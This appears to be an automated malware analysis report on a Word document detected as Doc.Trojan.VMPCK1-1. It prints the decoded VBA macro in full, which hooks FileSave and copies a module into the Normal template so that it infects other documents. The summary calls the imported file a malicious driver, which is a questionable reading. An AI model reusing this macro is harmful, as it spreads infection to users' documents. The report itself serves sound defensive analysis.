Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2bc4296401a56557…

MALICIOUS

Office (OLE)

26.5 KB Created: 2000-02-15 15:15:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1fe6362b6d1cf27217e8e56d399e2f16 SHA-1: 8a6c428330601eaa295140ca32cdd9067b827876 SHA-256: 2bc4296401a56557b18123301e84ca57b889220f053c7de0aff2868af284a649
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, identified by the OLE_VBA_MACROS heuristic. The macro code attempts to import a file named 'WD1_.DRV' from 'c:\windows\system\' and then saves the document. This suggests the document is designed to drop and potentially execute a malicious driver, likely delivered via spearphishing.

Heuristics 2

  • ClamAV: Doc.Trojan.VMPCK1-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.VMPCK1-1
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 914 bytes
SHA-256: d6a123603b36dc36ddaf12bc8e15c8b833662118d76ad4ee7bad9588a1f6b374
Detection
ClamAV: Doc.Trojan.VMPCK1-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "WD1_"
Sub FileSave()
DkHjFoFq = DhIv4080 & RmBx14271
OxPv15243 = JySiQxBr & HpUq9362 & NoKlGoJt & NoUn9649
DnGhPlCz = HrHp17923 & OvKm18343
On Error Resume Next
OxPv15243 = JySiQxBr & HpUq9362 & NoKlGoJt & NoUn9649
DnGhPlCz = HrHp17923 & OvKm18343
If NormalTemplate.VBProject.VBComponents.Item("virus").Name <> "virus" Then
OxPv15243 = JySiQxBr & HpUq9362 & NoKlGoJt & NoUn9649
DnGhPlCz = HrHp17923 & OvKm18343
NormalTemplate.VBProject.VBComponents.Import "c:\windows\system\WD1_.DRV"
End If
OxPv15243 = JySiQxBr & HpUq9362 & NoKlGoJt & NoUn9649
DnGhPlCz = HrHp17923 & OvKm18343
ActiveDocument.Save
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.